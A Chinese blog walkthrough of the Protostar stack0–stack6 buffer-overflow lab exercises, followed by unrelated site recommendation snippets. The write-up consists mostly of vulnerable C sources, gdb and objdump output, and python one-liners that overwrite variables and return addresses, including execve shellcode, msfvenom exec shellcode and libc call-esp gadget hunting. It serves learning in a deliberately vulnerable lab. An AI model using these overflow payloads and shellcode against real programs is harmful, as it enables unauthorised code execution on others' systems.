Exploit Exercises Protostar Stack Part 0-7_starting program: /opt/protostar/bin/stack0 breakp-程序员宅基地

技术标签: stack  Exploit Exercises  pwn  信息安全  Protostar  漏洞分析与利用  

 

Stack0

首先看下源码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

看来我们是要通过缓冲区溢出讲局部变量modified的值改为1或者我们将程序的返回值直接执行成功的printf就行了

首先看看汇编代码

(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)        
0x08048405 <main+17>:    lea    0x1c(%esp),%eax
0x08048409 <main+21>:    mov    %eax,(%esp)
0x0804840c <main+24>:    call   0x804830c <gets@plt>
0x08048411 <main+29>:    mov    0x5c(%esp),%eax
0x08048415 <main+33>:    test   %eax,%eax
0x08048417 <main+35>:    je     0x8048427 <main+51>
0x08048419 <main+37>:    movl   $0x8048500,(%esp)
0x08048420 <main+44>:    call   0x804832c <puts@plt>
0x08048425 <main+49>:    jmp    0x8048433 <main+63>
0x08048427 <main+51>:    movl   $0x8048529,(%esp)
0x0804842e <main+58>:    call   0x804832c <puts@plt>
0x08048433 <main+63>:    leave  
0x08048434 <main+64>:    ret    
End of assembler dump.

看到这个0x080483fd <main+9>: movl $0x0,0x5c(%esp) ,就是 modified = 0;

下面这个就是buffer的地址

0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)

为了看看开了什么保护,还是装个peda,懒得去单独搞个checksec了,结果发现用不了这个虚拟机的gdb不支持python的感觉,还是搞checksec吧

$ ./checksec -f /opt/protostar/bin/stack0
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    FORTIFY    Fortified Fortifiable  FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No    0        2    /opt/protostar/bin/stack0

0x5c跟0x1c相差了0x40个字节,我们实时0x44个A是什么情况 可以看到刚好覆盖到了,假如我们覆盖成1或者其他非0值就行

(gdb) x /4w $esp+0x5c
0xbffffcac:    0x41414141    0x08048400    0x00000000    0xbffffd38

覆盖成1或者其他非0值

$ python -c 'print "A"*0x40+"\x01\x00\x00\x00"' | ./stack0
you have changed the 'modified' variable
$ python -c 'print "A"*0x40+"\x01"' | ./stack0
you have changed the 'modified' variable

覆盖返回地址

发现buffer距离返回地址是0x54,后面改为要覆盖的地址即可

$ python -c 'print "A"*0x50+"\x19\x84\x04\x08"' | ./stack0
you have changed the 'modified' variable
you have changed the 'modified' variable
Segmentation fault                                                                                                                            
$ python -c 'print "\x00"*0x50+"\x19\x84\x04\x08"' | ./stack0
Try again?
you have changed the 'modified' variable
Segmentation fault

有个问题就是段错误了

stack1

还是先看代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

这个基本跟stack0差不多,不过这里要求modified 必须为0x61626364 还有就是这里通过命令行传参

结果:

$ ./stack1 $(python -c 'print "A"*0x40+"dcba"') 
you have correctly got the variable to the right value

stack2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

这里考察的是设置环境变量

$ GREENIE=`python -c 'print "A"*0x40+"\x0a\x0d\x0a\x0d"'`
$ export GREENIE
$ ./stack2
you have correctly modified the variable

stack 3

代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

获得win函数地址

(gdb) print win
$1 = {void (void)} 0x8048424 <win>

所以最终就简单了,但是我们这里好像直接覆盖返回地址的话比如覆盖一个fp能执行且不影响程序的地址,原因应该是调用了fp(); 为了简单 所以我们覆盖fp的值就好了

$ python -c 'print "A"*0x40+"\x24\x84\x04\x08"' | ./stack3 
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这个就直接覆盖返回地址了

(gdb) print win
$1 = {void (void)} 0x80483f4 <win>

调试发现偏移是0x4c

$ python -c 'print "A"*0x4C+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

stack5

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这里叫你开始执行shellcode了

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:    mov    %eax,(%esp)
0x080483d4 <main+16>:    call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:    leave  
0x080483da <main+22>:    ret    
End of assembler dump.
(gdb) b *0x080483d4
Breakpoint 1 at 0x80483d4: file stack5/stack5.c, line 10.
(gdb) r
Starting program: /opt/protostar/bin/stack5 

Breakpoint 1, 0x080483d4 in main (argc=1, argv=0xbffffd64) at stack5/stack5.c:10
10    stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) x $eax
0xbffffc70:    0xb7fd7ff4

eax的值就是局部变量的其实地址,我们将返回地址覆盖为这个,shellcode放最前面就行了

有个坑就是这个地址跟实际的不一样,我们调试的gdb地址是调试状态的地址。所以要用core文件。

用这个定位ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

root@protostar:/tmp# gdb /opt/protostar/bin/stack5  core.11.stack5.3147 
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
/root/.gdbinit:1: Error in sourced command file:
/root/peda/peda.py:8: Error in sourced command file:
Undefined command: "from".  Try "help".
Reading symbols from /opt/protostar/bin/stack5...done.

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x /30x $esp-0x50
0xbffffc50:    0x44434241    0x41414141    0x41414141    0x41414141
0xbffffc60:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc70:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc80:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc90:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffca0:    0x41414141    0xbffffd00    0xbffffd4c    0xb7fe1848
0xbffffcb0:    0xbffffd00    0xffffffff    0xb7ffeff4    0x08048232
0xbffffcc0:    0x00000001    0xbffffd00

感觉这系统有点问题,没有任何返回,如果exit,就退出了,而不是返回上一层shell

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x90\xfc\xff\xbf" + "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0\x0b\xcd\x80"' | ./stack5

后来直接用exec(ls)的shellcode

giantbranch:~# msfvenom -p linux/x86/exec CMD="ls" -f python 
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of python file: 192 bytes
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
buf += "\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"

那么就可以执行ls的了,真是日了狗,应该是我第一次的shellcode错了(当时是学习一步一步学rop时候的shellcode,怎么会错了)

root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
root@protostar:/opt/protostar/bin# python -c 'print "\x90" * 0x4c + "\x10\xfd\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack5
final0    final2     format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6

stack6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

这里if((ret & 0xbf000000) == 0xbf000000),如果返回地址是以bf开头,那么就会退出,所以我们要讲返回地址改成其他地址,比如程序中或者libc库中的地址

先定位返回值,懒得gdb调试定位了,直接peda(如果当前虚拟机用不了peda,可以用别的虚拟机啊)

gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

看看那里崩溃了

(gdb) r
Starting program: /opt/protostar/bin/stack6 
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
0x41414a41 in ?? ()
(gdb)

查偏移为80

gdb-peda$ pattern_offset 0x41414a41 
1094797889 found at offset: 80

覆盖返回地址为ret指令地址

将返回地址覆盖为ret指令,下一个dword就可以0xbf开头了

随便在下面找ret的地址就好

root@protostar:/opt/protostar/bin# objdump -d ./stack6

./stack6:     file format elf32-i386


Disassembly of section .init:

08048330 <_init>:
 8048330:    55                       push   %ebp
 8048331:    89 e5                    mov    %esp,%ebp
 8048333:    53                       push   %ebx
 8048334:    83 ec 04                 sub    $0x4,%esp
 8048337:    e8 00 00 00 00           call   804833c <_init+0xc>
 804833c:    5b                       pop    %ebx
 804833d:    81 c3 b0 13 00 00        add    $0x13b0,%ebx
 8048343:    8b 93 fc ff ff ff        mov    -0x4(%ebx),%edx
 8048349:    85 d2                    test   %edx,%edx
 804834b:    74 05                    je     8048352 <_init+0x22>
 804834d:    e8 1e 00 00 00           call   8048370 <__gmon_start__@plt>
 8048352:    e8 09 01 00 00           call   8048460 <frame_dummy>
 8048357:    e8 24 02 00 00           call   8048580 <__do_global_ctors_aux>
 804835c:    58                       pop    %eax
 804835d:    5b                       pop    %ebx
 804835e:    c9                       leave  
 804835f:    c3                       ret    

Disassembly of section .plt:

08048360 <__gmon_start__@plt-0x10>:
 8048360:    ff 35 f0 96 04 08        pushl  0x80496f0
 8048366:    ff 25 f4 96 04 08        jmp    *0x80496f4
 804836c:    00 00                    add    %al,(%eax)
    ...
    ...
    ...

我选这个吧:804835f

root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\x5f\x83\x04\x08" + "\xe4\xfc\xff\xbf" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA彿¿j
                                                                                                            XRfh-c榯sh
1.txt    final1    format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
final0    final2    format1  format3  heap0    heap2  net0     net2  net4  stack1  stack3  stack5  stack7

覆盖返回地址为jmp esp

这个应该是比较最为通用方便的了

由于在当前程序找不到,我们去libc找吧 看看使用的库在哪

root@protostar:/opt/protostar/bin# ldd ./stack6
    linux-gate.so.1 =>  (0xb7fe4000)
    libc.so.6 => /lib/libc.so.6 (0xb7e99000)
    /lib/ld-linux.so.2 (0xb7fe5000)

用rp查找一下

root@protostar:/opt/protostar/bin# ./rp-lin-x86 -f /lib/libc.so.6 --rop=2 | grep "call esp"
0x00117fc0: aam 0x74 ; out dx, al ; call esp ;  (1 found)
......
......
0x001288a8: add dh, dh ; call esp ;  (1 found)
0x001288a9: add dh, dh ; call esp ;  (1 found)
0x00129f18: bound ecx, dword [ebp] ; sti  ; call esp ;  (1 found)
0x00002e63: call esp ;  (1 found)
0x00083a4b: call esp ;  (1 found)
0x00110af8: call esp ;  (1 found)
0x00117fc3: call esp ;  (1 found)
0x0011a12a: call esp ;  (1 found)
0x0011a12b: call esp ;  (1 found)
0x0011b17e: call esp ;  (1 found)
0x0011b17f: call esp ;  (1 found)
0x0011b19a: call esp ;  (1 found)
0x0011b19b: call esp ;  (1 found)
......
......

选这个吧0x00110af8

>>> hex(0xb7e99000 + 0x00110af8)
'0xb7fa9af8L'

但发现这是错的

(gdb) x /4i 0xb7fa9af8L
0xb7fa9af8 <translit_to_idx+4504>:    adc    $0x18000010,%eax
0xb7fa9afd <translit_to_idx+4509>:    adc    %al,(%eax)
0xb7fa9aff <translit_to_idx+4511>:    add    %bl,(%ebx)
0xb7fa9b01 <translit_to_idx+4513>:    adc    %al,(%eax)

后来直接看maps

root@protostar:/home/user# cat /proc/5087/maps 
08048000-0804e000 r-xp 00000000 00:10 260        /bin/sleep
0804e000-0804f000 rw-p 00005000 00:10 260        /bin/sleep
0804f000-08070000 rw-p 00000000 00:00 0          [heap]
b7e96000-b7e97000 rw-p 00000000 00:00 0 
b7e97000-b7fd5000 r-xp 00000000 00:10 759        /lib/libc-2.11.2.so
b7fd5000-b7fd6000 ---p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd6000-b7fd8000 r--p 0013e000 00:10 759        /lib/libc-2.11.2.so
b7fd8000-b7fd9000 rw-p 00140000 00:10 759        /lib/libc-
......
......
bffeb000-c0000000 rw-p 00000000 00:00 0          [stack]

那就需要减个0x2000了,这时候就对了

(gdb) x /4i 0xb7fa7af8
0xb7fa7af8 <translit_from_tbl+7160>:    call   *%esp
0xb7fa7afa <translit_from_tbl+7162>:    add    %eax,(%eax)
0xb7fa7afc <translit_from_tbl+7164>:    add    %al,(%eax)
0xb7fa7afe <translit_from_tbl+7166>:    add    %al,(%eax)

那么就可以了

root@protostar:/opt/protostar/bin# python -c 'print "A" * 80 + "\xf8\x7a\xfa\xb7" + "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80"' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u012763794/article/details/76614927

智能推荐

超详细plotly画折线图例子----记录自己背单词_plotly 折线图-程序员宅基地

文章浏览阅读2k次。import plotly.offline as pyfrom plotly.graph_objs import Scatter, Layoutimport plotly.graph_objs as gopy.offline.init_notebook_mode()trace11=go.Scatter( name="已加入记忆规划全部单词", x=[-1,0], y=[3300,3371], text=['记录起点:2020/5/8'], textposi_plotly 折线图

react中使用mobx6以及持久化存储mobx-persist-store-程序员宅基地

文章浏览阅读3.6k次,点赞5次,收藏19次。react中使用mobx6以及持久化存储mobx-persist-storemobx6官方文档mobx-persist-store文档安装mobx及mobx-persist-storeyarn add mobx mobx-react mobx-persist-store --save在项目中使用mobx在src目录下新建store文件夹,新建index.js文件模块化开发,统一的数据仓库有利于数据管理与分发,也可以向mobx5一样在不同的模块下建state定义类,一般以模块划分,_mobx-persist-store

网易财报:营收上行,盈利下行-程序员宅基地

文章浏览阅读100次。配图来自Canva可画今年以来,我国陆续开展了音乐版权取独、饭圈乱象专项整治、未成年游戏防沉迷、义务教育“双减”等各项监管行动,给国内的互联网企业带来了不少影响。网易作为国内位居前列的互联网公司,相关的业务和经营业绩也频受影响。近日,网易发布了2021年6月30日止第二季度财务业绩公告及中期报告。数据显示,网易上半年总营收 410亿元,归母净利润79.8亿元;其中第二季度净收入为205亿元,同比增加了12.9%,毛利率虽同比增加14.3%至112亿元,但归母净利润仅有35.42亿元,较上年同..

2023年全球前端大技术大会(GMTC北京站2023):核心内容与学习收获(附大会核心PPT下载)_2024gmtc全球大前端技术大会-程序员宅基地

文章浏览阅读968次,点赞12次,收藏8次。此次峰会是一次内容丰富、有深度和广度的技术盛会。参会者不仅可以了解前端技术的最新发展和未来趋势,还可以与业界专家交流心得,提升自己的技能和能力。同时,此次大会也促进了全球前端社区的交流和合作,推动了前端技术的创新和发展。对于前端开发者、移动开发者以及对AI技术感兴趣的技术人员来说,这次大会无疑是一次难得的学习和交流机会。_2024gmtc全球大前端技术大会

dodo:人脸识别方法个人见解(包括稀疏表示方法的理解)_dodo频道缺点-程序员宅基地

文章浏览阅读4.9k次。dodo:人脸识别方法个人见解科院网站http://www.cbsr.ia.ac.cn/Li%20Group/publicationsCH.htmlgoogle的软件picasa汉王公司 dodo:人脸识别方法个人见解(2008-01-07 20:56:37) dodo:人脸识别方法个人见解 (此贴最开始于 2007-6-23 19:50 发表在 prf_dodo频道缺点

面对困难,你可以等死,也可以马上动手解决问题,解决完一个,就再解决一个,然后就可以回家了。...-程序员宅基地

文章浏览阅读176次。面对困难,你可以等死,也可以马上动手解决问题,解决完一个,就再解决一个,然后就可以回家了。转载于:https://www.cnblogs.com/nana-tech/p/5943931.html...

随便推点

别耍小聪明—leo看赢在中国第三季(1)-程序员宅基地

文章浏览阅读7.7k次。版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出版、作者信息和本声明。否则将追究法律责任。本文地址: http://blog.csdn.net/jobchanceleo/archive/2007/11/23/1898758.aspx 写在第三季前面的话通过看《赢在中国》第二季,我明白了,这也是个结果被内定的电视秀节目。就当是再看一下社会的另一面,提高一下自己,所以第

TCP截包分段重组的设计_tcp分包重组算法-程序员宅基地

文章浏览阅读1.4w次。TCP截包分段重组的设计功能-------TCP报文段会有失序,重复,对于截包还会有丢包。在进行上层协议分析之前,需要对TCP报文进行重组。分段重组是对TCP数据进行重新排序,丢序重复的数据,并指示数据的丢失。输入-------重组只处理单向数据流,所以一个TCP连接需要分别处理两个方向的数据流。重组的数据假定已经检查了检验和。截包重组忽略TCP窗口的大小。简单地讲,重组仅关心TCP序号,应答号,_tcp分包重组算法

Java 里的异常(Exception)详解-程序员宅基地

文章浏览阅读2.3w次,点赞36次,收藏128次。作为一位初学者, 我也没有能力对异常谈得很深入. 只不过java里关于Exception的东西实在是很多. 所以这篇文章很长就是了..一, 什么是java里的异常由于java是c\c++ 发展而来的, 首先我们先看看c语言里的错误.1.1 c语言里的错误 我们实现1个程序的过程包括, 代码编写, 编译代码成为程序, 执行程序._exception

Apache Calcite的属性设置,例如解决编码问题_calcite 编码-程序员宅基地

文章浏览阅读1.6k次。在项目的资源文件新建一个saffron.properties文件内容为calcite.default.charset = utf8然后在org.apache.calcite.config.CalciteSystemProperty#loadProperties函数打断点查看是否加载该配置文件即可..._calcite 编码

Android SO 加壳(加密)与脱壳思路_so加壳-程序员宅基地

文章浏览阅读1.9w次,点赞11次,收藏56次。0x01 常见的Android SO加壳(加密)思路 1.1 破坏Elf Header 将Elf32_Ehdr 中的e_shoff, e_shnum, e_shstrndx, e_shentsize字段处理,变为无效值。由于在链接过程中,这些字段是无用的,所以可以随意修改,这会导致ida打不开这个so文件。 1.2 删除Section Header ..._so加壳

阶乘优化算法_求阶乘最优算法-程序员宅基地

文章浏览阅读1.9k次。阶乘算法优化2016年11月28日 10:17:37阅读数:3574原文地址:http://blog.csdn.net/yxnk/article/details/1665052我的感言:首先,有一个概念上的认知,即根据阶乘定义而来的常规算法,如果是long int型只能正确计算到12左右的阶乘,如果用double型只能正确计算170左右的阶乘,当然这些只是大概,需要结合实际平台进行..._求阶乘最优算法